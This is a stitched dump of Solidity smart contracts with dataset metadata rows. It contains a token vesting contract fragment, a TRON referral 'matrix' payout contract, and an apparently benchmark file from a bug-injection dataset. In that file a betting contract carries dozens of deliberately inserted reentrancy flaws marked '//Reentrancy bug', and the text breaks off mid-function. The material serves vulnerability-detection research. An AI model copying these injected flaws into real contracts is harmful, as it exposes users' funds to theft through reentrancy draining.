require(_hec != address(0));
HeC = _hec;
vestingTimeUnitSeconds = _vestingTimeUnitSeconds;
totalDebt = 0;
}
function claim() external nonReentrant {
uint index = walletIndices[msg.sender];
require(wallets[ index ].recipient == msg.sender, "Claim request is not valid.");
require(wallets[ index ].lockedBalance > 0, "There is no balance left to claim.");
//initial value of current claimable time is the ending time of cliff/lock period
//after first claim, this value is iterated forward by the time unit amount claimed
uint256 currentClaimableEpochTime = wallets[ index ].claimableEpochTime;
require(currentClaimableEpochTime <= uint256(block.timestamp), "Lock period not completed yet.");
uint256 vestingTimeUnitCount = (uint256(block.timestamp) - currentClaimableEpochTime).div(vestingTimeUnitSeconds);
require(vestingTimeUnitCount > 0, "Minimum vesting unit (day/week/month etc.) not passed yet.");
// distribute rewards to sender
uint256 valueToSend = wallets[ index ].releaseAmountPerVestingTimeUnit.mul(vestingTimeUnitCount);
if(valueToSend > wallets[ index ].lockedBalance) {
valueToSend = wallets[ index ].lockedBalance;
}
wallets[ index ].lockedBalance = wallets[ index ].lockedBalance.sub(valueToSend);
wallets[ index ].claimableEpochTime = currentClaimableEpochTime.add(vestingTimeUnitSeconds.mul(vestingTimeUnitCount));
totalDebt = totalDebt.sub(valueToSend);
IERC20(HeC).safeTransfer(msg.sender, valueToSend);
emit RewardClaimed(msg.sender, valueToSend);
}
function TGEclaim() external nonReentrant {
uint index = walletIndices[msg.sender];
require(wallets[ index ].recipient == msg.sender, "Claim request is not valid.");
require(wallets[index].unlockedBalance > 0, "There is no balance left to claim.");
uint256 valueToSend = wallets[ index ].unlockedBalance;
wallets[ index ].unlockedBalance = 0;
totalDebt = totalDebt.sub(valueToSend);
IERC20(HeC).safeTransfer(msg.sender, valueToSend);
emit RewardClaimed(msg.sender, valueToSend);
}
function claimable(uint index) public view returns (uint256) {
uint256 _currentClaimableEpochTime = wallets[ index ].claimableEpochTime;
require(_currentClaimableEpochTime <= uint256(block.timestamp), "Lock period not completed yet.");
uint256 _vestingTimeUnitCount = (uint256(block.timestamp) - _currentClaimableEpochTime).div(vestingTimeUnitSeconds);
uint256 _claimable = wallets[ index ].releaseAmountPerVestingTimeUnit.mul(_vestingTimeUnitCount);
if(_claimable > wallets[ index ].lockedBalance) {
_claimable = wallets[ index ].lockedBalance;
}
_claimable = _claimable.add(wallets[ index ].unlockedBalance);
return _claimable;
}
function _addRecipient(address _recipient, uint256 _unlockedBalance, uint256 _lockedBalance, uint256 _releaseAmountPerVestingTimeUnit, uint256 _claimableEpochTime) internal {
require(_recipient != address(0), "Recipient address cannot be empty.");
require(totalDebt.add(_lockedBalance).add(_unlockedBalance) <= IERC20(HeC).balanceOf(address(this)), "Cannot add this debt amount due to the balance of this Contract.");
wallets.push(WalletInfo({
recipient: _recipient,
unlockedBalance: _unlockedBalance,
lockedBalance: _lockedBalance,
totalAllocation: _unlockedBalance.add(_lockedBalance),
releaseAmountPerVestingTimeUnit: _releaseAmountPerVestingTimeUnit,
claimableEpochTime: _claimableEpochTime
}));
walletIndices[_recipient] = wallets.length - 1;
totalDebt = totalDebt.add(_lockedBalance).add(_unlockedBalance);
}
function addRecipient(address[] memory _recipient, uint256[] memory _unlockedBalance, uint256[] memory _lockedBalance, uint256[] memory _releaseAmountPerVestingTimeUnit, uint256[] memory _claimableEpochTime) external onlyOwner() {
require(_recipient.length == _unlockedBalance.length, "Array sizes do not match.");
require(_recipient.length == _releaseAmountPerVestingTimeUnit.length, "Array sizes do not match.");
require(_recipient.length == _lockedBalance.length, "Array sizes do not match.");
require(_recipient.length == _claimableEpochTime.length, "Array sizes do not match.");
for(uint i = 0; i < _recipient.length; i++) {
_addRecipient(_recipient[i], _unlockedBalance[i], _lockedBalance[i], _releaseAmountPerVestingTimeUnit[i], _claimableEpochTime[i]);
}
}
function _removeRecipient(uint _index, address _recipient) internal {
require(_recipient == wallets[ _index ].recipient, "Recipient index does not match.");
totalDebt = totalDebt.sub(wallets[ _index ].lockedBalance).sub(wallets[ _index ].unlockedBalance);
wallets[ _index ].recipient = address(0);
wallets[ _index ].releaseAmountPerVestingTimeUnit = 0;
wallets[ _index ].claimableEpochTime = 0;
wallets[ _index ].unlockedBalance = 0;
wallets[ _index ].lockedBalance = 0;
}
function removeRecipient(uint[] memory _indices, address[] memory _recipient) external onlyOwner() {
require(_recipient.length == _indices.length, "Array sizes do not match.");
for(uint i = 0; i < _recipient.length; i++) {
_removeRecipient(_indices[i], _recipient[i]);
}
}
function withdraw() external onlyOwner(){
uint256 total = IERC20(HeC).balanceOf(address(this));
require(total > 0, "There is no balance left to withdraw.");
IERC20(HeC).safeTransfer(msg.sender, total);
}
}
| 104,514 | 13,665 |
8322907f178e87e9cd82a897c4b66be19d3a497440d5bf917ca1608bb6a07e48
| 18,610 |
.sol
|
Solidity
| false |
453466497
|
tintinweb/smart-contract-sanctuary-tron
|
44b9f519dbeb8c3346807180c57db5337cf8779b
|
contracts/mainnet/TS/TSwy7HxBUv81Ma1qt2cYRhhNAbAxvQH5GN_TRONS_CONTRACTS.sol
| 4,794 | 17,998 |
//SourceUnit: troncontractss.sol
pragma solidity 0.5.9;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
address public manager;
address public ownerWallet;
modifier onlyOwner() {
require(msg.sender == owner, "only for owner");
_;
}
function transferOwnership(address newOwner) public onlyOwner {
owner = newOwner;
}
}
contract TRONS_CONTRACTS is Ownable {
using SafeMath for uint256;
address public matrixwallet;
event signUpLevelEvent(address indexed user, address indexed referrer, uint _time);
event buyNextLevelEvent(address indexed user, uint level, uint _time);
event getMoneyForLevelEvent(address indexed user, address indexed referral, uint level, uint time);
event lostMoneyForLevelEvent(address indexed user, address indexed referral, uint level, uint time);
event Registration(string member_name, string sponcer_id,address indexed sender);
event LevelUpgrade(string member_name, string current_level,string promoter,address indexed sender);
event MatrixUpgrade(string member_name, string matrix,string promoter,string payment_promoter,address indexed sender);
mapping (uint => uint) public LEVEL_PRICE;
mapping (uint => uint) public POOL_PRICE;
mapping (address => address) referrerAdd;
mapping (address => address) uplineAdd;
mapping (uint => address) referrerArr;
mapping (uint => address) uplineArr;
mapping (uint256 => address payable) public uplineAddress;
mapping(uint => address[]) slotreferrals;
uint public maxDownLimit = 2;
struct UserStruct {
bool isExist;
uint id;
uint referrerID;
uint originalReferrer;
uint directCount;
address[] referral;
mapping(uint => address[]) regUsers;
mapping (uint => uint) levelExpired;
}
struct SuperStruct {
bool isExist;
uint id;
address[] referral;
mapping (uint => uint) levelExpired;
mapping (uint => address) matrixcount;
mapping (uint => address) parentmatrixAddress;
mapping (uint => bool) matrixvalid;
mapping (uint => address[]) matrixchild;
mapping (uint => address[]) directchild;
}
mapping (address => UserStruct) public users;
mapping (uint => address) public userAddressByID;
mapping (address => SuperStruct) public matrixusers;
mapping (uint => SuperStruct) public matrixusersID;
mapping (uint => address) public userList;
mapping (address => uint) public userAddress;
mapping (uint => address) public matricuserList;
mapping (uint => bool) public userRefComplete;
mapping (address => uint) public profitStat;
mapping(uint => address[]) childAddresses;
mapping(address => address[]) teammembers;
mapping (uint => uint) matrixUserID;
mapping (uint => uint) eligibleUserID;
mapping (uint => uint) matrixNextParent;
mapping (uint => uint) matrixallChildInc;
uint[8] public levelStat;
uint public currUserID = 0;
uint refCompleteDepth = 1;
uint public placeNextParent = 0;
address public parentNewAddressNew;
constructor(address _manager) public {
owner = msg.sender;
manager = _manager;
ownerWallet = msg.sender;
matrixwallet = _manager;
parentNewAddressNew= address(0);
LEVEL_PRICE[1] = 500;
LEVEL_PRICE[2] = 1000;
LEVEL_PRICE[3] = 1500;
LEVEL_PRICE[4] = 3000;
LEVEL_PRICE[5] = 5000;
LEVEL_PRICE[6] = 10000;
LEVEL_PRICE[7] = 25000;
LEVEL_PRICE[8] = 15000;
LEVEL_PRICE[9] = 8000;
LEVEL_PRICE[10] = 4500;
LEVEL_PRICE[10] = 2500;
POOL_PRICE[1] = 1200;
POOL_PRICE[2] = 4000;
POOL_PRICE[3] = 10000;
POOL_PRICE[4] = 25000;
POOL_PRICE[5] = 50000;
POOL_PRICE[6] = 140000;
POOL_PRICE[7] = 400000;
POOL_PRICE[8] = 1000000;
POOL_PRICE[9] = 3000000;
UserStruct memory userStruct;
currUserID++;
for(uint m=1;m<=5;m++){
matrixUserID[m] = 1;
eligibleUserID[m] =1;
matrixNextParent[m] = 1;
matrixusersID[1].matrixcount[m] = ownerWallet;
}
placeNextParent++;
userStruct = UserStruct({
isExist : true,
id : currUserID,
referrerID: 1,
originalReferrer: 1,
directCount: 0,
referral : new address[](0)
});
users[ownerWallet] = userStruct;
userList[currUserID] = ownerWallet;
userAddressByID[currUserID] = ownerWallet;
userAddress[ownerWallet] = currUserID;
for(uint l =1; l<9;l++){
users[ownerWallet].levelExpired[l] = 77777777777;
if(l<=5){
matrixusers[ownerWallet].levelExpired[l] = 77777777777;
matrixusers[ownerWallet].matrixvalid[l] = true;
}
}
}
function signupUser(address _referrer) private {
require(!users[msg.sender].isExist, 'User exist');
uint _referrerID;
if (users[_referrer].isExist){
_referrerID = users[_referrer].id;
}
uint originalReferrer = userAddress[_referrer];
require(_referrerID > 0 && _referrerID <= currUserID, 'Incorrect referrer Id');
if(users[userAddressByID[_referrerID]].referral.length >= maxDownLimit) _referrerID = users[findFreeReferrer(userAddressByID[_referrerID])].id;
require(msg.value==LEVEL_PRICE[1], 'Incorrect Value');
UserStruct memory userStruct;
currUserID++;
userStruct = UserStruct({
isExist : true,
id : currUserID,
referrerID : _referrerID,
originalReferrer : originalReferrer,
directCount : 0,
referral : new address[](0)
});
users[msg.sender] = userStruct;
userList[currUserID] = msg.sender;
userAddress[msg.sender] = currUserID;
userAddressByID[currUserID] = msg.sender;
users[msg.sender].levelExpired[1] = now ;
users[msg.sender].levelExpired[2] = 0;
users[msg.sender].levelExpired[3] = 0;
users[msg.sender].levelExpired[4] = 0;
users[msg.sender].levelExpired[5] = 0;
users[msg.sender].levelExpired[6] = 0;
users[msg.sender].levelExpired[7] = 0;
users[msg.sender].levelExpired[8] = 0;
matrixusers[msg.sender].levelExpired[1] = 0;
matrixusers[msg.sender].levelExpired[2] = 0;
matrixusers[msg.sender].levelExpired[3] = 0;
matrixusers[msg.sender].levelExpired[4] = 0;
matrixusers[msg.sender].levelExpired[5] = 0;
users[userAddressByID[_referrerID]].referral.push(msg.sender);
users[userAddressByID[originalReferrer]].directCount++;
directPayment(originalReferrer,1);
for(uint m=1; m<=5;m++){
matrixusers[msg.sender].matrixvalid[m] = false;
}
emit signUpLevelEvent(msg.sender, userList[_referrerID], now);
}
function directPayment(uint referrerID,uint _level) internal {
address referAddress = userAddressByID[referrerID];
address(uint160(referAddress)).transfer(LEVEL_PRICE[_level]);
profitStat[referAddress] += LEVEL_PRICE[_level];
}
function pushmatrixchild(uint _level,address matrixbuyer,address parentaddress) internal {
if(matrixusers[parentaddress].matrixchild[_level].length <= 39){
matrixusers[parentaddress].matrixchild[_level].push(matrixbuyer);
address parentNewAddress = matrixusers[parentaddress].parentmatrixAddress[_level];
if(parentNewAddress == ownerWallet){
if(matrixusers[parentNewAddress].matrixchild[_level].length <= 39){
matrixusers[parentNewAddress].matrixchild[_level].push(matrixbuyer);
}
}else{
if(parentNewAddress != parentNewAddressNew){
pushmatrixchild(_level,matrixbuyer,parentNewAddress);
}
}
}
}
function buyGlobal(uint _level) private {
require(users[msg.sender].isExist, 'User not exist');
require(_level>0 && _level<=5, 'Incorrect level');
require(msg.value==POOL_PRICE[_level], 'Incorrect Value');
require(matrixusers[msg.sender].matrixvalid[_level] == true,'You are not eligible to buy this package');
matrixusers[msg.sender].levelExpired[_level] = now;
for(uint l =_level-1; l>0; l--){
require(matrixusers[msg.sender].levelExpired[l] >= now, 'Buy the previous level');
}
matrixUserID[_level]++;
matrixusersID[matrixUserID[_level]].matrixcount[_level] = msg.sender;
address topaddress = matrixusersID[matrixNextParent[_level]].matrixcount[_level];
address eligibleaddress = matrixusersID[eligibleUserID[_level]].matrixcount[_level];
matrixusers[topaddress].directchild[_level].push(msg.sender);
matrixusers[msg.sender].parentmatrixAddress[_level] = topaddress;
if(matrixusers[eligibleaddress].matrixchild[_level].length == 39){
eligibleUserID[_level]++;
}
if(matrixusers[topaddress].directchild[_level].length == 3){
matrixNextParent[_level]++;
}
pushmatrixchild(_level,msg.sender,topaddress);
if(matrixusers[topaddress].directchild[_level].length <= 3){
if(matrixusers[topaddress].directchild[_level].length <= 2 && matrixusers[ownerWallet].matrixchild[_level].length <= 12){
// payForMatrix(_level,matrixwallet);
}else if(matrixusers[eligibleaddress].matrixchild[_level].length >12 && matrixusers[eligibleaddress].matrixchild[_level].length < 40){
if(matrixusers[topaddress].directchild[_level].length <= 2){
payForMatrix(_level,eligibleaddress);
}else{
payForMatrix(_level,topaddress);
}
}else{
payForMatrix(_level,topaddress);
}
}
}
function getprofitAddress(uint level,address user, address profitaddress) internal {
users[user].regUsers[level].push(profitaddress);
}
function payForMatrix(uint _level, address _user) internal {
address(uint160(_user)).transfer(POOL_PRICE[_level]);
profitStat[_user] += POOL_PRICE[_level];
}
function whogettingAmount(uint _level,address _regAddress) public view returns(address[] memory) {
return users[_regAddress].regUsers[_level];
}
function getuplinerAddress(uint _level, address _user) private returns(address){
address uplinerAddress;
for(uint u=1;u<= _level; u++){
if(u== 1 && _level ==1){
uplinerAddress = userList[users[_user].referrerID];
}else{
if(u==1){
uplineArr[u] = userList[users[_user].referrerID];
}else{
if(u != _level){
uplineArr[u] = userList[users[uplineArr[u-1]].referrerID];
}
if(u == _level){
uplinerAddress = userList[users[uplineArr[u-1]].referrerID];
}
}
}
}
return uplinerAddress;
}
function payForLevel(uint _level, address _user,address _originaluser) internal {
address originaluser = _originaluser;
address referer;
for(uint i=1;i<= _level; i++){
if(i== 1 && _level ==1){
referer = userAddressByID[users[_user].referrerID];
}else{
if(i==1){
referrerArr[i] = userAddressByID[users[_user].referrerID];
}else{
if(i != _level){
referrerArr[i] = userAddressByID[users[referrerArr[i-1]].referrerID];
}
if(i == _level){
referer = userAddressByID[users[referrerArr[i-1]].referrerID];
}
}
}
}
if(!users[referer].isExist){
referer = userAddressByID[1];
}
if(_level >= 3){
matrixusers[msg.sender].matrixvalid[_level-2] = true;
}
if(users[referer].levelExpired[_level] >= now){
uint sponcerId = users[_originaluser].originalReferrer;
address sponcerAddress = userAddressByID[sponcerId];
address(uint160(referer)).transfer(LEVEL_PRICE[_level].mul(80).div(100));
address(uint160(sponcerAddress)).transfer(LEVEL_PRICE[_level].mul(20).div(100));
profitStat[referer] += LEVEL_PRICE[_level].mul(80).div(100);
profitStat[sponcerAddress] += LEVEL_PRICE[_level].mul(20).div(100);
getprofitAddress(_level,_originaluser,referer);
slotreferrals[_level].push(msg.sender);
levelStat[_level-1]++;
emit getMoneyForLevelEvent(referer, msg.sender, _level, now);
} else {
emit lostMoneyForLevelEvent(referer, msg.sender, _level, now);
payForLevel(_level,referer,originaluser);
}
}
function findFreeReferrer(address _user) public view returns(address) {
if(users[_user].referral.length < maxDownLimit) return _user;
address[] memory referrals = new address[](500);
referrals[0] = users[_user].referral[0];
referrals[1] = users[_user].referral[1];
address freeReferrer;
bool noFreeReferrer = true;
for(uint i = 0; i < 500; i++) {
if(users[referrals[i]].referral.length == maxDownLimit) {
//if(i < 62) {
referrals[(i+1)*2] = users[referrals[i]].referral[0];
referrals[(i+1)*2+1] = users[referrals[i]].referral[1];
//}
}
else {
noFreeReferrer = false;
freeReferrer = referrals[i];
break;
}
}
require(!noFreeReferrer, 'No Free Referrer');
return freeReferrer;
}
function findFirstFreeReferrer() public view returns(uint) {
for(uint i = refCompleteDepth; i < 500+refCompleteDepth; i++) {
if (!userRefComplete[i]) {
return i;
}
}
}
function viewUserReferral(address _user) public view returns(address[] memory) {
return users[_user].referral;
}
function viewUserSponcer(address _user) public view returns(uint) {
return users[_user].originalReferrer;
}
function getMatrixchildcount(address _user,uint matrixlevel) public view returns(uint) {
return matrixusers[_user].matrixchild[matrixlevel].length;
}
function getMatrixchildcountList(address _user,uint matrixlevel) public view returns(address[] memory) {
return matrixusers[_user].matrixchild[matrixlevel];
}
function getDirectChildcountList(address _user,uint matrixlevel) public view returns(address[] memory) {
return matrixusers[_user].directchild[matrixlevel];
}
function viewUserLevelExpired(address _user) public view returns(uint[8] memory levelExpired) {
for (uint i = 0; i<8; i++) {
if (now < users[_user].levelExpired[i+1]) {
levelExpired[i] = users[_user].levelExpired[i+1].sub(now);
}
}
}
function viewUserLevelMatrixExpired(address _user) public view returns(uint[5] memory levelExpired) {
for (uint i = 0; i<5; i++) {
if (now < matrixusers[_user].levelExpired[i+1]) {
levelExpired[i] = matrixusers[_user].levelExpired[i+1].sub(now);
}
}
}
function NewRegistration(string memory member_name, string memory sponcer_id,address payable[] memory _contributors, uint256[] memory _balances) public payable
{
multisendTRX(_contributors,_balances);
emit Registration(member_name, sponcer_id,msg.sender);
}
function buyLevel(string memory member_name, string memory current_level,string memory promoter,address payable[] memory _contributors, uint256[] memory _balances) public payable
{
multisendTRX(_contributors,_balances);
emit LevelUpgrade(member_name, current_level,promoter,msg.sender);
}
function buyMatrix(string memory member_name, string memory matrix,string memory promoter,string memory payment_promoter,address payable[] memory _contributors, uint256[] memory _balances) public payable
{
multisendTRX(_contributors,_balances);
emit MatrixUpgrade(member_name, matrix, promoter,payment_promoter,msg.sender);
}
function withdrawLostTRXFromBalance(address payable _sender) public {
require(msg.sender == owner, "onlyOwner");
_sender.transfer(address(this).balance);
}
function viewAllChildByuser(uint id) public view returns(address[] memory) {
return childAddresses[id];
}
function multisendTRX(address payable[] memory _contributors, uint256[] memory _balances) public payable {
uint256 total = msg.value;
uint256 i = 0;
for (i; i < _contributors.length; i++) {
require(total >= _balances[i]);
total = total.sub(_balances[i]);
_contributors[i].transfer(_balances[i]);
}
}
}
| 286,730 | 13,666 |
d53c381e39140d1211c29e6e396be586cfffb5beaf77643e5db3539fcf685243
| 16,012 |
.sol
|
Solidity
| false |
441123437
|
1052445594/SoliDetector
|
171e0750225e445c2993f04ef32ad65a82342054
|
Solidifi-bugInjection-data/Reentrancy/Sol/buggy_45.sol
| 4,729 | 15,690 |
pragma solidity ^0.5.11;
contract StockBet {
mapping (address => uint) balances_re_ent16;
modifier hasBalance_re_ent16(){
require(balances_re_ent16[msg.sender] > 0);
_;
balances_re_ent16[msg.sender] = 0;
}
function addToBalance_re_ent16() public payable{
balances_re_ent16[msg.sender] += msg.value;
}
function withdraw_balances_re_ent16() public hasBalance_re_ent16{
uint amountToWithdraw = balances_re_ent16[msg.sender];
(bool success,) = msg.sender.call.value(amountToWithdraw)(""); //Reentrancy bug
if (!(success)) { revert(); }
}
event GameCreated(uint bet);
bool not_called_re_ent15 = true;
function deposit_re_ent15() public payable{
not_called_re_ent15 = true;
}
function bug_re_ent15() public{
require(not_called_re_ent15);
(bool success,) = (msg.sender.call.value(1 ether)("")); //Reentrancy bug
if(! success){
revert();
}
not_called_re_ent15 = false;
}
event GameOpened(uint256 initialPrice);
mapping(address => uint) redeemableEther_re_ent14;
function deposit_re_ent14() public payable{
uint amount = msg.value;
redeemableEther_re_ent14[msg.sender]+=amount;
}
function claimReward_re_ent14() public {
// ensure there is a reward to give
require(redeemableEther_re_ent14[msg.sender] > 0);
uint transferValue_re_ent14 = redeemableEther_re_ent14[msg.sender];
msg.sender.call.value(transferValue_re_ent14)(""); //bug //Reentrancy bug
redeemableEther_re_ent14[msg.sender] = 0;
}
event GameClosed();
mapping(address => uint) balances_re_ent13;
function deposit_re_ent13() public payable{
uint amount = msg.value;
balances_re_ent13[msg.sender]+=amount;
}
function withdrawFunds_re_ent13 (uint256 _weiToWithdraw) public {
require(balances_re_ent13[msg.sender] >= _weiToWithdraw);
// limit the withdrawal
(bool success,)= msg.sender.call.value(_weiToWithdraw)(""); //Reentrancy bug
require(success); //bug
balances_re_ent13[msg.sender] -= _weiToWithdraw;
}
event OracleSet(address oracle);
address payable lastPlayer_re_ent12;
uint jackpot_re_ent12;
function deposit_re_ent12() public payable{
uint amount = msg.value;
jackpot_re_ent12 = amount;
}
function buyTicket_re_ent12() public{
(bool success,) = lastPlayer_re_ent12.call.value(jackpot_re_ent12)(""); //Reentrancy bug
if(!success)revert();
lastPlayer_re_ent12 = msg.sender;
jackpot_re_ent12 = address(this).balance;
}
event FinalPriceSet(uint256 finalPrice);
mapping(address => uint) balances_re_ent11;
function deposit_re_ent11() public payable{
uint amount = msg.value;
balances_re_ent11[msg.sender]+=amount;
}
function withdraw_balances_re_ent11 () public {
uint amount = balances_re_ent11[msg.sender];
(bool success,) =msg.sender.call.value(amount)(""); //Reentrancy bug
if (success)
balances_re_ent11[msg.sender] = 0;
}
event PlayerBet(address player, uint guess);
mapping (address => uint) private balances_re_ent10;
mapping (address => bool) private disableWithdraw_re_ent10;
function deposit_re_ent10() public payable {
balances_re_ent10[msg.sender] += msg.value;
}
function withdrawBalance_re_ent10() public {
require(disableWithdraw_re_ent10[msg.sender] == false);
uint amountToWithdraw = balances_re_ent10[msg.sender];
if (amountToWithdraw > 0) {
msg.sender.call.value(amountToWithdraw)(""); //Reentrancy bug
disableWithdraw_re_ent10[msg.sender] = true;
balances_re_ent10[msg.sender] = 0;
}
}
event PlayersWin(uint result, uint256 splitJackpot);
mapping(address => uint) balances_re_ent1;
function deposit_re_ent1() public payable{
uint amount = msg.value;
balances_re_ent1[msg.sender]+=amount;
}
function withdraw_balances_re_ent1 () public {
uint amount = balances_re_ent1[msg.sender];
(bool success,) =msg.sender.call.value(amount)(""); //Reentrancy bug
if (success)
balances_re_ent1[msg.sender] = 0;
}
event OwnerWins(address owner);
enum State {
SETUP, PRICE_SET, OPEN, CLOSED, PLAYERS_WIN, OWNER_WIN
}
enum PaidStatus {
UNDEFINED,
NOT_PAID,
PAID
}
struct Guess {
mapping (address => PaidStatus) players;
uint guesses_number;
}
bool not_called_re_ent34 = true;
function bug_re_ent34() public{
require(not_called_re_ent34);
msg.sender.call.value(1 ether)("") ; //Reentrancy bug
revert();
not_called_re_ent34 = false;
}
address payable public owner;
mapping(address => uint) userBalance_re_ent33;
function withdrawBalance_re_ent33() public{
// send userBalance[msg.sender] ethers to msg.sender
// if mgs.sender is a contract, it will call its fallback function
(bool success,)= msg.sender.call.value(userBalance_re_ent33[msg.sender])(""); //Reentrancy bug
if(! success){
revert();
}
userBalance_re_ent33[msg.sender] = 0;
}
address public oracle;
mapping(address => uint) redeemableEther_re_ent32;
function claimReward_re_ent32() public {
// ensure there is a reward to give
require(redeemableEther_re_ent32[msg.sender] > 0);
uint transferValue_re_ent32 = redeemableEther_re_ent32[msg.sender];
msg.sender.call.value(transferValue_re_ent32)(""); //bug //Reentrancy bug
redeemableEther_re_ent32[msg.sender] = 0;
}
State public state;
mapping(address => uint) balances_re_ent31;
function withdrawFunds_re_ent31 (uint256 _weiToWithdraw) public {
require(balances_re_ent31[msg.sender] >= _weiToWithdraw);
// limit the withdrawal
msg.sender.call.value(_weiToWithdraw)(""); //bug //Reentrancy bug
balances_re_ent31[msg.sender] -= _weiToWithdraw;
}
mapping (uint => Guess) public guesses;
address payable lastPlayer_re_ent30;
uint jackpot_re_ent30;
function buyTicket_re_ent30() public{
lastPlayer_re_ent30.call.value(jackpot_re_ent30)("");//Reentrancy bug
revert();
lastPlayer_re_ent30 = msg.sender;
jackpot_re_ent30 = address(this).balance;
}
uint256 public bet;
uint256 splitJackpot;
mapping(address => uint) balances_re_ent3;
function deposit_re_ent3() public payable{
uint amount = msg.value;
balances_re_ent3[msg.sender]+=amount;
}
function withdrawFunds_re_ent3 (uint256 _weiToWithdraw) public {
require(balances_re_ent3[msg.sender] >= _weiToWithdraw);
// limit the withdrawal
(bool success,)= msg.sender.call.value(_weiToWithdraw)(""); //Reentrancy bug
require(success); //bug
balances_re_ent3[msg.sender] -= _weiToWithdraw;
}
uint public result;
mapping(address => uint) balances_re_ent29;
function withdraw_balances_re_ent29 () public {
msg.sender.call.value(balances_re_ent29[msg.sender ])(""); //Reentrancy bug
balances_re_ent29[msg.sender] = 0;
}
uint256 public initialPrice;
uint256 counter_re_ent28 =0;
function callme_re_ent28() public{
require(counter_re_ent28<=5);
msg.sender.call.value(10 ether)(""); //Reentrancy bug
revert();
counter_re_ent28 += 1;
}
uint256 public finalPrice;
bool not_called_re_ent27 = true;
function bug_re_ent27() public{
require(not_called_re_ent27);
msg.sender.call.value(1 ether)("") ; //Reentrancy bug
revert();
not_called_re_ent27 = false;
}
uint constant UP = 1;
mapping(address => uint) userBalance_re_ent26;
function withdrawBalance_re_ent26() public{
// send userBalance[msg.sender] ethers to msg.sender
// if mgs.sender is a contract, it will call its fallback function
(bool success,)= msg.sender.call.value(userBalance_re_ent26[msg.sender])(""); //Reentrancy bug
if(! success){
revert();
}
userBalance_re_ent26[msg.sender] = 0;
}
uint constant DOWN = 0;
// ----------MODIFIERS--------------------
modifier byPlayer(){
require(msg.sender != oracle);
_;
}
modifier byOwner(){
require(msg.sender == owner);
_;
}
modifier byOracle(){
require(msg.sender == oracle);
_;
}
modifier inState(State expected) {
require(state == expected);
_;
}
// -------------------------------------
constructor(uint256 _bet) public {
require(_bet > 0);
owner = msg.sender;
state = State.SETUP;
bet = _bet;
emit GameCreated(bet);
}
mapping(address => uint) redeemableEther_re_ent25;
function claimReward_re_ent25() public {
// ensure there is a reward to give
require(redeemableEther_re_ent25[msg.sender] > 0);
uint transferValue_re_ent25 = redeemableEther_re_ent25[msg.sender];
msg.sender.call.value(transferValue_re_ent25)(""); //bug //Reentrancy bug
redeemableEther_re_ent25[msg.sender] = 0;
}
function setOracle(address _oracle) public payable byOwner inState(State.SETUP) {
oracle = _oracle;
emit OracleSet(oracle);
}
mapping(address => uint) balances_re_ent24;
function withdrawFunds_re_ent24 (uint256 _weiToWithdraw) public {
require(balances_re_ent24[msg.sender] >= _weiToWithdraw);
// limit the withdrawal
msg.sender.call.value(_weiToWithdraw)(""); //bug //Reentrancy bug
balances_re_ent24[msg.sender] -= _weiToWithdraw;
}
function setInitialPrice(uint256 _value) public payable byOracle inState(State.SETUP) {
initialPrice = _value;
state = State.OPEN;
emit GameOpened(initialPrice);
}
address payable lastPlayer_re_ent23;
uint jackpot_re_ent23;
function buyTicket_re_ent23() public{
lastPlayer_re_ent23.call.value(jackpot_re_ent23)("");//Reentrancy bug
revert();
lastPlayer_re_ent23 = msg.sender;
jackpot_re_ent23 = address(this).balance;
}
function closeGame() public byOwner inState(State.OPEN){
state = State.CLOSED;
emit GameClosed();
}
mapping(address => uint) balances_re_ent21;
function withdraw_balances_re_ent21 () public {
(bool success,)= msg.sender.call.value(balances_re_ent21[msg.sender ])(""); //Reentrancy bug
if (success)
balances_re_ent21[msg.sender] = 0;
}
function betUp() public payable byPlayer inState(State.OPEN){
require(msg.value == (bet*0.001 ether));
guesses[UP].guesses_number++;
guesses[UP].players[msg.sender] = PaidStatus.NOT_PAID;
emit PlayerBet(msg.sender, UP);
}
uint256 counter_re_ent21 =0;
function callme_re_ent21() public{
require(counter_re_ent21<=5);
msg.sender.call.value(10 ether)("") ; //Reentrancy bug
revert();
counter_re_ent21 += 1;
}
function betDown() public payable byPlayer inState(State.OPEN){
require(msg.value == (bet*0.001 ether));
guesses[DOWN].guesses_number++;
guesses[DOWN].players[msg.sender] = PaidStatus.NOT_PAID;
emit PlayerBet(msg.sender, DOWN);
}
mapping (address => uint) private balances_re_ent20;
mapping (address => bool) private disableWithdraw_re_ent20;
function deposit_re_ent20() public payable {
balances_re_ent20[msg.sender] += msg.value;
}
function withdrawBalance_re_ent20() public {
require(disableWithdraw_re_ent20[msg.sender] == false);
uint amountToWithdraw = balances_re_ent20[msg.sender];
if (amountToWithdraw > 0) {
msg.sender.call.value(amountToWithdraw)(""); //Reentrancy bug
disableWithdraw_re_ent20[msg.sender] = true;
balances_re_ent20[msg.sender] = 0;
}
}
function setFinalPrice(uint256 _value) public payable byOracle inState(State.CLOSED) {
// require(isValidNumber(_result));
finalPrice = _value;
emit FinalPriceSet(finalPrice);
if(finalPrice > initialPrice){
result = UP;
}else{
result = DOWN;
}
if(guesses[result].guesses_number > 0){
state = State.PLAYERS_WIN;
splitJackpot = getBalance()/guesses[result].guesses_number;
emit PlayersWin(result, splitJackpot);
}else{
state = State.OWNER_WIN;
emit OwnerWins(owner);
}
}
address payable lastPlayer_re_ent2;
uint jackpot_re_ent2;
function deposit_re_ent2() public payable{
uint amount = msg.value;
jackpot_re_ent2 = amount;
}
function buyTicket_re_ent2() public{
(bool success,) = lastPlayer_re_ent2.call.value(jackpot_re_ent2)(""); //Reentrancy bug
if(!success)revert();
lastPlayer_re_ent2 = msg.sender;
jackpot_re_ent2 = address(this).balance;
}
function collectOwnerWinnings() public byOwner inState(State.OWNER_WIN){
selfdestruct(owner);
}
uint lockTime19;
mapping (address => uint) private balances_re_ent19;
function deposit_re_ent19() public payable {
balances_re_ent19[msg.sender] += msg.value;
}
function transfer_re_ent19(address to, uint amount) public {
if (balances_re_ent19[msg.sender] >= amount) {
balances_re_ent19[to] += amount;
balances_re_ent19[msg.sender] -= amount;
}
}
function withdrawBalance_re_ent19() public {
uint amountToWithdraw = balances_re_ent19[msg.sender];
require(now>lockTime19+60 days);
if (amountToWithdraw > 0) {
lockTime19 = now;
